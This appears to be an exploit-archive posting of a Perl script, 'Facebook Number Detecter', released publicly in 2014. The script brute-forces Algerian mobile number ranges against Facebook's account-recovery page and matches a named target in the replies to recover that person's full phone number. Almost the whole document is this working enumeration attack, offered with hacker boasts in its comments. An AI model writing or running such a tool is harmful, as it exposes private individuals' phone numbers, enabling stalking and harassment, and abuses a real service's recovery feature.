facebook facebook twitter rss

Facebook Number Detecter

Author: isdo213 , Published: 12-08-2014
 #!/usr/bin/perl -w

#! by isdo213 speciale version for algeria numbers
#! release for public 12-07-2014
#! for more information th3isdo@gmail.com
#! we D'ont need Opportunity to hack...we create the Opportunity we are hackerZ
#! demo video : http://www.youtube.com/watch?v=iYRW9gV6SDU

use strict;
use warnings;

use LWP::UserAgent;

sub post_url {
my( $url, $formref ) = @_;

# set up a UserAgent object to handle our request
my $ua = new LWP::UserAgent(timeout => 300);

$ua->agent('perlproc/1.0');

my $response = $ua->post($url, $formref );

if( $response->is_success ){
return $response->content;
} else {
return undef;
}
}

my $cant=0 ;
my $Backup_Count = 0;
sub back_and_print {
my $text = shift @_; # no tabs, no newlines!

print "\b" x $Backup_Count;
print " " x $Backup_Count;
print "\b" x $Backup_Count;
$Backup_Count = length $text;
print $text;
}

my $red="\e[1;31m";
my $normal="\e[0m\n";


print "
------------------------------------------------------------
|
.%%%%%...%%%%%%.............. %%%%%..... %%....%%%%%%. |
.%%..%%.....%%............... %%... %%%.......%%.. |
.%%..%%....%%........%%%%%%...%%%%..... %%......%%%.. |
.%%..%%...%%................ %%........%%........%%. |
.%%%%%...%%%%%%.............. %%%%%%..%%%%%%..%%%%%.. |
|
|[+] Dz fb num Detecter |
|[+] isdo213|codes | th3isdo[at]gmail[com] |
|[+] GreetZ: to All Dz HackerZ |
------------------------------------------------------------
\n\n" ;

print "enter the name of Target : ";
my $name=<STDIN> ;
chomp($name) ;

print "enter the last 4 numbers : ";
my $number=<STDIN> ;
print "
choose the user operator

[1] djezzy
[2] Nedjma
[3] mobilis
[4] all (djezzy,nedjma,mobilis)

";
my $op=<STDIN> ;
print "$red [+]be sure that you are login to your facebook in firefox $normal type any key for beggin search ";
my $s=<> ;

if ($op =~ "1" or $op =~ "4") {
print "
===============================
scanning Djezzy numbers ..
===============================
" ;
for( my $i = 77000; $i<79999; $i++ ){
if ($i == "78000"){
$i="79000" ;
goto aa ;
}
my $url = "http://m.facebook.com/login/identify?ctx=recover";
my $num = "+213".$i.$number ;
my %param = ( 'email' => $num);

my $test = post_url( $url, \%param );


my $id ="" ;
my @test=[] ;

if ($test =~ m/$name/ ){

my @test = split />/ ,$test ;


if ($test[33] =~ m/(.*?)\</g ) {
$id = $1 ;


}

print"

=============================

[+]name of facebook is : $id
[+]phone number : $num

=============================
";
system ('firefox https://www.facebook.com/search/results.php?q='.$num) ;
goto a ;

}
else {
if ($test =~ m/suspect/ ){

$cant=$cant+ 1 ;
print "

[$cant]suspect => $num
";
system ('firefox https://www.facebook.com/search/results.php?q='.$num) ;

goto aa ;


}




else {
$|=1 ;
back_and_print( "" );

}



}
aa:
}
}

#===========================nedjma================================

if ($op =~ "2" or $op =~ "4") {
print "
===============================
scanning Nedjma numbers ..
===============================
";
for( my $i = 55000; $i<55999; $i++ ){

my $url = "http://m.facebook.com/login/identify?ctx=recover";
my $num = "+213".$i.$number ;
my %param = ( 'email' => $num);

my $test = post_url( $url, \%param );
my $id ="" ;
my @test=[] ;

if ($test =~ m/$name/){
my @test = split />/ ,$test ;


if ($test[33] =~ m/(.*?)\</g ) {
$id = $1 ;
}

print"

=============================

[+]name of facebook is : $id
[+]phone number : $num

=============================
";
system ('firefox https://www.facebook.com/search/results.php?q='.$num) ;
goto a ;

}

else {
if ($test =~ m/suspect/ ){
$cant=$cant+ 1 ;
print "
[$cant]suspect => $num
";
system ('firefox https://www.facebook.com/search/results.php?q='.$num) ;

goto bb ;

}
else {
$|=1 ;
back_and_print( "" );

}



}
bb:
}
}
#======================================mobilis========================

if ($op =~ "3" or $op =~ "4") {
print "
===============================
scanning mobilis numbers ..
===============================
" ;
for( my $i = 66100; $i<69999; $i++ ){
if ($i == "67000"){
$i="69900" ;
goto cc ;
}
my $url = "http://m.facebook.com/login/identify?ctx=recover";
my $num = "+213".$i.$number ;
my %param = ( 'email' => $num);

my $test = post_url( $url, \%param );

my $id ="" ;
my @test=[] ;

if ($test =~ m/$name/){
my @test = split />/ ,$test ;


if ($test[33] =~ m/(.*?)\</g ) {
$id = $1 ;
}

print"

=============================

[+]name of facebook is : $id
[+]phone number : $num

=============================
";
system ('firefox https://www.facebook.com/search/results.php?q='.$num) ;

goto a ;

}

else {
if ($test =~ m/suspect/ ){
$cant=$cant+ 1 ;
print "
[$cant]suspect => $num
";
system ('firefox https://www.facebook.com/search/results.php?q='.$num) ;
goto cc ;

}
else {
$|=1 ;
back_and_print( "" );

}



}
cc:
}
}


#=========================exite=============================
a:
print "search finish " ;

Like us on Facebook :